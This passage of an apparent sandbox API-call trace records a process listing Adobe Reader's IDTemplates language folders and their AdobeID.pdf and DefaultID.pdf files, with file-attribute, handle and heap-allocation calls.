BaseAddress=0x124b7d0) returned 1 [0081.237] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x510a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201698 [0081.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261988 [0081.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.238] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x510a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.238] GetLastError () returned 0x12 [0081.238] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.239] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.239] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.239] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x561b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.239] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x510a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.239] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x510a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.239] GetLastError () returned 0x12 [0081.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.239] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.239] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0081.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.240] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.241] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258e90 [0081.241] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258e90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258e90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258e90) returned 1 [0081.241] NtClose (Handle=0x168) returned 0x0 [0081.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.242] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.242] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.242] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16057, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12016b8 [0081.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261a90 [0081.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.244] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x155af, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12016d8 [0081.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261b98 [0081.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.245] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x155af, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.245] GetLastError () returned 0x12 [0081.245] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.245] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.245] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.246] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16057, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.246] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x155af, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.246] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x155af, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.246] GetLastError () returned 0x12 [0081.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.246] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.246] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0081.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.246] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.247] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.247] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258e90 [0081.248] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258e90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258e90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258e90) returned 1 [0081.248] NtClose (Handle=0x178) returned 0x0 [0081.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.249] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.249] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.249] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12016f8 [0081.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261ca0 [0081.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.251] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201718 [0081.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261da8 [0081.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.252] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.252] GetLastError () returned 0x12 [0081.252] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.252] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.252] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.252] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.252] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.252] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.252] GetLastError () returned 0x12 [0081.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.253] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.253] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0081.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.253] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: 